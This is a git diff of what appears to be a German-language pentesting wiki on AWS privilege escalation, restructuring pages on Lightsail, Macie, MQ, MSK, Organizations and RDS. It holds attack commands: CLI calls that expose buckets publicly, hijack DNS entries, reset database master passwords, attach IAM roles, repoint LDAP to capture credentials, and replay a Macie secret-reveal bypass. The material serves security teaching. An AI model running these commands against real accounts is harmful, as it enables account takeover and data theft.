+**Mögliche Auswirkungen:** Potenziell neuer Zugriff auf buckets mit sensiblen Informationen.
+
+### `lightsail:UpdateBucket`
+
+Mit dieser Berechtigung könnte ein Angreifer seinem eigenen AWS-Konto Lesezugriff auf buckets gewähren oder die buckets sogar für alle öffentlich machen:
+```bash
+# Grant read access to exterenal account
+aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
+
+# Grant read to the public
+aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
+
+# Bucket private but single objects can be public
+aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
+```
+**Mögliche Auswirkungen:** Möglicher neuer Zugriff auf buckets mit sensiblen Informationen.
+
+### `lightsail:UpdateContainerService`
+
+Mit dieser Berechtigung könnte ein Angreifer dem Containers-Service Zugriff auf private ECRs gewähren.
+```bash
+aws update-container-service \
+--service-name <name> \
+--private-registry-access ecrImagePullerRole={isActive=boolean}
+```
+**Mögliche Auswirkungen:** Sensible Informationen aus einem privaten ECR abrufen
+
+### `lightsail:CreateDomainEntry`
+
+Ein Angreifer mit dieser Berechtigung könnte eine Subdomain erstellen und sie auf seine eigene IP-Adresse verweisen (subdomain takeover), oder einen SPF-Eintrag erstellen, der es ihm erlaubt, E-Mails von der Domain zu spoofen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen.
+```bash
+aws lightsail create-domain-entry \
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
+```
+**Potential Impact:** Übernahme einer Domain
+
+### `lightsail:UpdateDomainEntry`
+
+Ein Angreifer mit dieser Berechtigung könnte eine Subdomain erstellen und sie auf seine eigene IP-Adresse zeigen (subdomain takeover), oder einen SPF record erstellen, der ihm erlaubt, spoof emails von der Domain zu verschicken, oder sogar die Hauptdomain auf seine eigene IP-Adresse zu setzen.
+```bash
+aws lightsail update-domain-entry \
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
+```
+**Mögliche Auswirkung:** Übernahme einer Domain
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
deleted file mode 100644
index ad65a71e2..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - Macie Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Macie
-
-Für weitere Informationen über Macie siehe:
-
-{{#ref}}
-../aws-services/aws-macie-enum.md
-{{#endref}}
-
-### Amazon Macie - Umgehung der Integritätsprüfung `Reveal Sample`
-
-AWS Macie ist ein Sicherheitsdienst, der automatisch sensible Daten innerhalb von AWS-Umgebungen erkennt, wie z.B. Anmeldeinformationen, personenbezogene Daten (PII) und andere vertrauliche Daten. Wenn Macie eine sensible Anmeldeinformation identifiziert, wie z.B. einen in einem S3-Bucket gespeicherten AWS-Geheimschlüssel, wird ein Fund generiert, der es dem Eigentümer ermöglicht, eine "Probe" der erkannten Daten anzuzeigen. Typischerweise wird erwartet, dass der Geheimschlüssel nicht mehr abgerufen werden kann, sobald die sensible Datei aus dem S3-Bucket entfernt wurde.
-
-Allerdings wurde eine **Umgehung** identifiziert, bei der ein Angreifer mit ausreichenden Berechtigungen eine **Datei mit demselben Namen** erneut hochladen kann, die jedoch andere, nicht sensible Dummy-Daten enthält. Dies führt dazu, dass Macie die neu hochgeladene Datei mit dem ursprünglichen Fund verknüpft, wodurch der Angreifer die **"Reveal Sample"-Funktion** nutzen kann, um das zuvor erkannte Geheimnis zu extrahieren. Dieses Problem stellt ein erhebliches Sicherheitsrisiko dar, da Geheimnisse, von denen angenommen wurde, dass sie gelöscht wurden, durch diese Methode weiterhin abrufbar bleiben.
-
-![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
-
-**Schritte zur Reproduktion:**
-
-1. Laden Sie eine Datei (z.B. `test-secret.txt`) in einen S3-Bucket mit sensiblen Daten, wie z.B. einem AWS-Geheimschlüssel, hoch. Warten Sie, bis AWS Macie scannt und einen Fund generiert.
-
-2. Navigieren Sie zu den AWS Macie Findings, suchen Sie den generierten Fund und verwenden Sie die **Reveal Sample**-Funktion, um das erkannte Geheimnis anzuzeigen.
-
-3. Löschen Sie `test-secret.txt` aus dem S3-Bucket und vergewissern Sie sich, dass es nicht mehr existiert.
-
-4. Erstellen Sie eine neue Datei mit dem Namen `test-secret.txt` mit Dummy-Daten und laden Sie sie erneut in denselben S3-Bucket mit dem **Konto des Angreifers** hoch.
-
-5. Kehren Sie zu den AWS Macie Findings zurück, greifen Sie auf den ursprünglichen Fund zu und klicken Sie erneut auf **Reveal Sample**.
-
-6. Beobachten Sie, dass Macie das ursprüngliche Geheimnis weiterhin offenbart, obwohl die Datei gelöscht und durch andere Inhalte **aus anderen Konten, in unserem Fall dem Konto des Angreifers, ersetzt wurde**.
-
-**Zusammenfassung:**
-
-Diese Schwachstelle ermöglicht es einem Angreifer mit ausreichenden AWS IAM-Berechtigungen, zuvor erkannte Geheimnisse wiederherzustellen, selbst nachdem die ursprüngliche Datei aus S3 gelöscht wurde. Wenn ein AWS-Geheimschlüssel, ein Zugriffstoken oder eine andere sensible Anmeldeinformation offengelegt wird, könnte ein Angreifer diesen Fehler ausnutzen, um sie abzurufen und unbefugten Zugriff auf AWS-Ressourcen zu erlangen. Dies könnte zu einer Privilegieneskalation, unbefugtem Datenzugriff oder einer weiteren Kompromittierung von Cloud-Ressourcen führen, was zu Datenverletzungen und Dienstunterbrechungen führen kann.
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
new file mode 100644
index 000000000..71136c2b9
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md
@@ -0,0 +1,38 @@
+# AWS - Macie Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Macie
+
+Für mehr Informationen zu Macie siehe:
+
+{{#ref}}
+../../aws-services/aws-macie-enum.md
+{{#endref}}
+
+### Amazon Macie - Bypass `Reveal Sample` Integrity Check
+
+AWS Macie ist ein Security-Service, der automatisch sensitive Daten in AWS-Umgebungen erkennt, wie credentials, personally identifiable information (PII) und andere vertrauliche Daten. Wenn Macie eine sensitive credential, z. B. einen AWS secret key in einem S3-Bucket, identifiziert, erzeugt es ein finding, das dem Besitzer erlaubt, ein "sample" der erkannten Daten anzusehen. Normalerweise wird erwartet, dass das Secret nach Entfernen der sensiblen Datei aus dem S3-Bucket nicht mehr abgerufen werden kann.
+
+Allerdings wurde ein **bypass** identifiziert, bei dem ein attacker mit ausreichenden Rechten eine Datei mit demselben Namen **wieder hochladen** kann, die jedoch andere, nicht-sensitive Dummy-Daten enthält. Dadurch verknüpft Macie die neu hochgeladene Datei mit dem ursprünglichen finding, was dem attacker ermöglicht, die **"Reveal Sample" feature** zu nutzen, um das zuvor erkannte Secret zu extrahieren. Dieses Problem stellt ein erhebliches Sicherheitsrisiko dar, da Secrets, die als gelöscht angenommen wurden, auf diese Weise weiterhin wiederherstellbar bleiben.
+
+![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
+
+**Steps To Reproduce:**
+
+1. Lade eine Datei hoch (z. B. `test-secret.txt`) in einen S3-Bucket mit sensitiven Daten, wie einem AWS secret key. Warte, bis AWS Macie scannt und ein finding erstellt.
+
+2. Öffne AWS Macie Findings, finde das erzeugte finding und nutze die **Reveal Sample** feature, um das erkannte Secret anzusehen.
+
+3. Lösche `test-secret.txt` aus dem S3-Bucket und verifiziere, dass sie nicht mehr existiert.
+
+4. Erstelle eine neue Datei mit dem Namen `test-secret.txt` mit Dummy-Daten und lade sie in denselben S3-Bucket erneut hoch, verwendet vom **attacker's account**.
+
+5. Kehre zu AWS Macie Findings zurück, öffne das ursprüngliche finding und klicke erneut auf **Reveal Sample**.
+
+6. Beobachte, dass Macie weiterhin das ursprüngliche Secret anzeigt, obwohl die Datei gelöscht und durch anderen Inhalt ersetzt wurde **von unterschiedlichen Accounts, in unserem Fall vom attacker's account**.
+
+**Summary:**
+
+Diese Verwundbarkeit erlaubt es einem attacker mit ausreichenden AWS IAM-Rechten, zuvor erkannte Secrets wiederherzustellen, selbst nachdem die ursprüngliche Datei aus S3 gelöscht wurde. Wenn ein AWS secret key, access token oder eine andere sensitive credential exponiert wurde, könnte ein attacker diese Schwachstelle ausnutzen, um sie zu erhalten und unautorisierten Zugriff auf AWS-Ressourcen zu erlangen. Dies kann zu privilege escalation, unautorisiertem Datenzugriff oder weiterer Kompromittierung von cloud assets führen, was in Datenlecks und Dienstunterbrechungen enden kann.
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
similarity index 70%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
index a5508308c..5bfc2d167 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md
@@ -1,10 +1,10 @@
 # AWS - Mediapackage Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### `mediapackage:RotateChannelCredentials`
 
-Ändert den Benutzernamen und das Passwort des ersten IngestEndpoint des Channels. (Diese API ist veraltet für RotateIngestEndpointCredentials)
+Ändert username und password des ersten IngestEndpoint eines Channel. (Diese API ist zugunsten von RotateIngestEndpointCredentials veraltet.)
 ```bash
 aws mediapackage rotate-channel-credentials --id <value>
 ```
@@ -18,4 +18,4 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
deleted file mode 100644
index f5f04c78b..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - MQ Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MQ
-
-Für weitere Informationen über MQ siehe:
-
-{{#ref}}
-../aws-services/aws-mq-enum.md
-{{#endref}}
-
-### `mq:ListBrokers`, `mq:CreateUser`
-
-Mit diesen Berechtigungen kannst du **einen neuen Benutzer in einem ActiveMQ-Broker erstellen** (dies funktioniert nicht in RabbitMQ):
-```bash
-aws mq list-brokers
-aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
-```
-**Potenzielle Auswirkungen:** Zugriff auf sensible Informationen durch Navigation in ActiveMQ
-
-### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
-
-Mit diesen Berechtigungen können Sie **einen neuen Benutzer in einem ActiveMQ-Broker erstellen** (dies funktioniert nicht in RabbitMQ):
-```bash
-aws mq list-brokers
-aws mq list-users --broker-id <value>
-aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
-```
-**Potenzielle Auswirkungen:** Zugriff auf sensible Informationen durch Navigation in ActiveMQ
-
-### `mq:ListBrokers`, `mq:UpdateBroker`
-
-Wenn ein Broker **LDAP** zur Autorisierung mit **ActiveMQ** verwendet, ist es möglich, die **Konfiguration** des verwendeten LDAP-Servers auf **einen, der vom Angreifer kontrolliert wird**, zu **ändern**. Auf diese Weise kann der Angreifer **alle Anmeldeinformationen stehlen, die über LDAP gesendet werden**.
-```bash
-aws mq list-brokers
-aws mq update-broker --broker-id <value> --ldap-server-metadata=...
-```
-Wenn Sie irgendwie die ursprünglichen Anmeldeinformationen finden könnten, die von ActiveMQ verwendet werden, könnten Sie einen MitM durchführen, die Anmeldeinformationen stehlen, sie auf dem ursprünglichen Server verwenden und die Antwort senden (vielleicht könnten Sie dies einfach tun, indem Sie die gestohlenen Anmeldeinformationen wiederverwenden).
-
-**Potenzielle Auswirkungen:** ActiveMQ-Anmeldeinformationen stehlen
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
new file mode 100644
index 000000000..d8fe48234
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md
@@ -0,0 +1,43 @@
+# AWS - MQ Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MQ
+
+Für weitere Informationen zu MQ siehe:
+
+{{#ref}}
+../../aws-services/aws-mq-enum.md
+{{#endref}}
+
+### `mq:ListBrokers`, `mq:CreateUser`
+
+Mit diesen Berechtigungen kannst du **einen neuen Benutzer in einem ActimeMQ broker erstellen** (dies funktioniert nicht in RabbitMQ):
+```bash
+aws mq list-brokers
+aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
+```
+**Potentieller Einfluss:** Zugriff auf sensible Informationen beim Navigieren durch ActiveMQ
+
+### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
+
+Mit diesen Berechtigungen können Sie **einen neuen Benutzer in einem ActimeMQ broker erstellen** (dies funktioniert nicht in RabbitMQ):
+```bash
+aws mq list-brokers
+aws mq list-users --broker-id <value>
+aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
+```
+**Mögliche Auswirkungen:** Zugriff auf sensible Informationen beim Navigieren durch **ActiveMQ**
+
+### `mq:ListBrokers`, `mq:UpdateBroker`
+
+Wenn ein Broker **LDAP** zur Autorisierung mit **ActiveMQ** verwendet, ist es möglich, die **Konfiguration** des verwendeten LDAP-Servers auf einen vom Angreifer kontrollierten Server zu **ändern**. Auf diese Weise kann der Angreifer **alle über LDAP gesendeten credentials stehlen**.
+```bash
+aws mq list-brokers
+aws mq update-broker --broker-id <value> --ldap-server-metadata=...
+```
+Wenn Sie irgendwie die ursprünglichen Credentials finden könnten, die von ActiveMQ verwendet werden, könnten Sie einen MitM durchführen, die Credentials abfangen, sie auf dem ursprünglichen Server verwenden und die Antwort weiterleiten (vielleicht reicht es, die gestohlenen Credentials einfach wiederzuverwenden).
+
+**Mögliche Auswirkung:** ActiveMQ-Credentials stehlen
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
deleted file mode 100644
index cc250a7cb..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# AWS - MSK Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## MSK
-
-Für weitere Informationen über MSK (Kafka) siehe:
-
-{{#ref}}
-../aws-services/aws-msk-enum.md
-{{#endref}}
-
-### `msk:ListClusters`, `msk:UpdateSecurity`
-
-Mit diesen **Befugnissen** und **Zugriff auf das VPC, in dem sich die Kafka-Broker befinden**, könntest du die **Keine Authentifizierung** hinzufügen, um auf sie zuzugreifen.
-```bash
-aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
-```
-Sie benötigen Zugriff auf die VPC, da **Sie keine None-Authentifizierung mit öffentlich exponiertem Kafka aktivieren können**. Wenn es öffentlich exponiert ist und **SASL/SCRAM**-Authentifizierung verwendet wird, könnten Sie **das Geheimnis lesen**, um darauf zuzugreifen (Sie benötigen zusätzliche Berechtigungen, um das Geheimnis zu lesen).\
-Wenn **IAM-Rollenbasierte Authentifizierung** verwendet wird und **Kafka öffentlich exponiert ist**, könnten Sie diese Berechtigungen dennoch missbrauchen, um Ihnen Berechtigungen für den Zugriff zu gewähren.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
new file mode 100644
index 000000000..192cf8a4f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md
@@ -0,0 +1,22 @@
+# AWS - MSK Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## MSK
+
+Für weitere Informationen zu MSK (Kafka) siehe:
+
+{{#ref}}
+../../aws-services/aws-msk-enum.md
+{{#endref}}
+
+### `msk:ListClusters`, `msk:UpdateSecurity`
+
+Mit diesen **Privilegien** und **Zugriff auf die VPC, in der die kafka brokers laufen**, könntest du die **None authentication** hinzufügen, um auf sie zuzugreifen.
+```bash
+aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
+```
+Du benötigst Zugriff auf das VPC, weil **you cannot enable None authentication with Kafka publicly** exposed. Wenn es öffentlich exponiert ist und **SASL/SCRAM** Authentifizierung verwendet wird, könntest du das **read the secret** lesen, um Zugriff zu erhalten (du benötigst zusätzliche Privilegien, um das secret zu lesen).\
+Wenn **IAM role-based authentication** verwendet wird und **kafka is publicly exposed** könntest du diese Privilegien trotzdem missbrauchen, um dir Berechtigungen zum Zugriff zu verschaffen.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
deleted file mode 100644
index 9aa2314b1..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Organizations Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organisationen
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-## Vom Management-Konto zu den Kinderkonten
-
-Wenn Sie das Root-/Management-Konto kompromittieren, besteht die Wahrscheinlichkeit, dass Sie alle Kinderkonten kompromittieren können.\
-Um [**zu lernen, wie, überprüfen Sie diese Seite**](../#compromising-the-organization).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
new file mode 100644
index 000000000..c5a02d893
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md
@@ -0,0 +1,18 @@
+# AWS - Organizations Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+## Vom management Account zu den children accounts
+
+Wenn du das root/management account kompromittierst, kannst du wahrscheinlich alle children accounts kompromittieren.\
+To [**Erfahre, wie — siehe diese Seite**](../../index.html#compromising-the-organization).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
deleted file mode 100644
index b4361fe4a..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ /dev/null
@@ -1,151 +0,0 @@
-# AWS - RDS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## RDS - Relational Database Service
-
-Für weitere Informationen über RDS siehe:
-
-{{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
-{{#endref}}
-
-### `rds:ModifyDBInstance`
-
-Mit dieser Berechtigung kann ein Angreifer **das Passwort des Master-Benutzers ändern** und sich in die Datenbank einloggen:
-```bash
-# Get the DB username, db name and address
-aws rds describe-db-instances
-
-# Modify the password and wait a couple of minutes
-aws rds modify-db-instance \
---db-instance-identifier <db-id> \
---master-user-password 'Llaody2f6.123' \
---apply-immediately
-
-# In case of postgres
-psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
-```
-> [!WARNING]
-> Sie müssen in der Lage sein, **auf die Datenbank zuzugreifen** (sie sind normalerweise nur von internen Netzwerken aus zugänglich).
-
-**Potenzielle Auswirkungen:** Sensible Informationen in den Datenbanken finden.
-
-### rds-db:connect
-
-Laut den [**Docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) könnte ein Benutzer mit dieser Berechtigung eine Verbindung zur DB-Instanz herstellen.
-
-### Missbrauch von RDS-Rollen-IAM-Berechtigungen
-
-#### Postgresql (Aurora)
-
-> [!TIP]
-> Wenn Sie **`SELECT datname FROM pg_database;`** ausführen und eine Datenbank namens **`rdsadmin`** finden, wissen Sie, dass Sie sich in einer **AWS Postgresql-Datenbank** befinden.
-
-Zuerst können Sie überprüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Dienst zuzugreifen. Sie könnten dies überprüfen, indem Sie sich die installierten Erweiterungen ansehen:
-```sql
-SELECT * FROM pg_extension;
-```
-Wenn Sie etwas wie **`aws_s3`** finden, können Sie davon ausgehen, dass diese Datenbank **irgendeine Art von Zugriff auf S3** hat (es gibt andere Erweiterungen wie **`aws_ml`** und **`aws_lambda`**).
-
-Wenn Sie außerdem die Berechtigung haben, **`aws rds describe-db-clusters`** auszuführen, können Sie dort sehen, ob der **Cluster eine IAM-Rolle zugewiesen hat** im Feld **`AssociatedRoles`**. Falls ja, können Sie davon ausgehen, dass die Datenbank **vorbereitet wurde, um auf andere AWS-Dienste zuzugreifen**. Basierend auf dem **Namen der Rolle** (oder wenn Sie die **Berechtigungen** der Rolle erhalten können) könnten Sie **vermuten**, welchen zusätzlichen Zugriff die Datenbank hat.
-
-Um nun **eine Datei in einem Bucket zu lesen**, müssen Sie den vollständigen Pfad kennen. Sie können es mit folgendem Befehl lesen:
-```sql
-// Create table
-CREATE TABLE ttemp (col TEXT);
-
-// Create s3 uri
-SELECT aws_commons.create_s3_uri(
-'test1234567890678', // Name of the bucket
-'data.csv',          // Name of the file
-'eu-west-1'          //region of the bucket
-) AS s3_uri \gset
-
-// Load file contents in table
-SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
-
-// Get info
-SELECT * from ttemp;
-
-// Delete table
-DROP TABLE ttemp;
-```
-Wenn Sie **rohe AWS-Anmeldeinformationen** hätten, könnten Sie diese auch verwenden, um auf S3-Daten zuzugreifen mit:
-```sql
-SELECT aws_s3.table_import_from_s3(
-'t', '', '(format csv)',
-:'s3_uri',
-aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
-);
-```
-> [!NOTE]
-> Postgresql **muss keine Parametergruppenvariable ändern**, um auf S3 zugreifen zu können.
-
-#### Mysql (Aurora)
-
-> [!TIP]
-> Innerhalb eines mysql, wenn Sie die Abfrage **`SELECT User, Host FROM mysql.user;`** ausführen und es einen Benutzer namens **`rdsadmin`** gibt, können Sie davon ausgehen, dass Sie sich in einer **AWS RDS mysql db** befinden.
-
-Führen Sie im mysql **`show variables;`** aus und wenn die Variablen wie **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** Werte haben, können Sie davon ausgehen, dass die Datenbank vorbereitet ist, um auf S3-Daten zuzugreifen.
-
-Außerdem, wenn Sie die Berechtigungen haben, **`aws rds describe-db-clusters`** auszuführen, können Sie überprüfen, ob der Cluster eine **assoziierte Rolle** hat, was normalerweise den Zugriff auf AWS-Dienste bedeutet.
-
-Um nun **eine Datei innerhalb eines Buckets zu lesen**, müssen Sie den vollständigen Pfad kennen. Sie können sie mit lesen:
-```sql
-CREATE TABLE ttemp (col TEXT);
-LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
-SELECT * FROM ttemp;
-DROP TABLE ttemp;
-```
-### `rds:AddRoleToDBCluster`, `iam:PassRole`
-
-Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBCluster` und `iam:PassRole` kann **eine bestimmte Rolle zu einer bestehenden RDS-Instanz hinzufügen**. Dies könnte dem Angreifer ermöglichen, **auf sensible Daten zuzugreifen** oder die Daten innerhalb der Instanz zu ändern.
-```bash
-aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
-```
-**Potenzielle Auswirkungen**: Zugriff auf sensible Daten oder unbefugte Änderungen an den Daten in der RDS-Instanz.\
-Beachten Sie, dass einige DBs zusätzliche Konfigurationen erfordern, wie Mysql, das die Angabe der Rollen-ARN in den Parametergruppen benötigt.
-
-### `rds:CreateDBInstance`
-
-Nur mit dieser Berechtigung könnte ein Angreifer eine **neue Instanz innerhalb eines bereits vorhandenen Clusters** erstellen, der eine **IAM-Rolle** zugewiesen ist. Er wird das Master-Benutzerpasswort nicht ändern können, aber er könnte in der Lage sein, die neue Datenbankinstanz ins Internet zu exponieren:
-```bash
-aws --region eu-west-1 --profile none-priv rds create-db-instance \
---db-instance-identifier mydbinstance2 \
---db-instance-class db.t3.medium \
---engine aurora-postgresql \
---db-cluster-identifier database-1 \
---db-security-groups "string" \
---publicly-accessible
-```
-### `rds:CreateDBInstance`, `iam:PassRole`
-
-> [!NOTE]
-> TODO: Test
-
-Ein Angreifer mit den Berechtigungen `rds:CreateDBInstance` und `iam:PassRole` kann **eine neue RDS-Instanz mit einer angegebenen Rolle erstellen**. Der Angreifer kann dann potenziell **auf sensible Daten zugreifen** oder die Daten innerhalb der Instanz ändern.
-
-> [!WARNING]
-> Einige Anforderungen an die Rolle/Instanzprofil, die angehängt werden sollen (von [**hier**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
-
-> - Das Profil muss in Ihrem Konto existieren.
-> - Das Profil muss eine IAM-Rolle haben, die Amazon EC2 die Berechtigung hat, zu übernehmen.
-> - Der Name des Instanzprofils und der zugehörige Name der IAM-Rolle müssen mit dem Präfix `AWSRDSCustom` beginnen.
-```bash
-aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
-```
-**Potenzielle Auswirkungen**: Zugriff auf sensible Daten oder unbefugte Änderungen an den Daten in der RDS-Instanz.
-
-### `rds:AddRoleToDBInstance`, `iam:PassRole`
-
-Ein Angreifer mit den Berechtigungen `rds:AddRoleToDBInstance` und `iam:PassRole` kann **eine bestimmte Rolle zu einer bestehenden RDS-Instanz hinzufügen**. Dies könnte dem Angreifer ermöglichen, **auf sensible Daten zuzugreifen** oder die Daten innerhalb der Instanz zu ändern.
-
-> [!WARNING]
-> Die DB-Instanz muss außerhalb eines Clusters sein, damit dies funktioniert.
-```bash
-aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
-```
-**Potenzielle Auswirkungen**: Zugriff auf sensible Daten oder unbefugte Änderungen an den Daten in der RDS-Instanz.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
new file mode 100644
index 000000000..183c860f4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md
@@ -0,0 +1,151 @@
+# AWS - RDS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## RDS - Relational Database Service
+
+Für weitere Informationen zu RDS siehe:
+
+{{#ref}}
+../../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
+
+### `rds:ModifyDBInstance`
+
+Mit dieser Berechtigung kann ein attacker **das Passwort des master user ändern**, und den Login innerhalb der Datenbank:
+```bash
+# Get the DB username, db name and address
+aws rds describe-db-instances
+
+# Modify the password and wait a couple of minutes
+aws rds modify-db-instance \
+--db-instance-identifier <db-id> \
+--master-user-password 'Llaody2f6.123' \
+--apply-immediately
+
+# In case of postgres
+psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
+```
+> [!WARNING]
+> Du musst in der Lage sein, eine Verbindung zur Datenbank herzustellen (sie sind normalerweise nur von innerhalb von Netzwerken erreichbar).
+
+**Potential Impact:** Sensitive Informationen in den Datenbanken finden.
+
+### rds-db:connect
+
+According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
+
+### Abuse RDS Role IAM permissions
+
+#### Postgresql (Aurora)
+
+> [!TIP]
+> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.
+
+Zuerst kannst du prüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Service zuzugreifen. Du kannst das überprüfen, indem du dir die installierten Erweiterungen ansiehst:
+```sql
+SELECT * FROM pg_extension;
+```
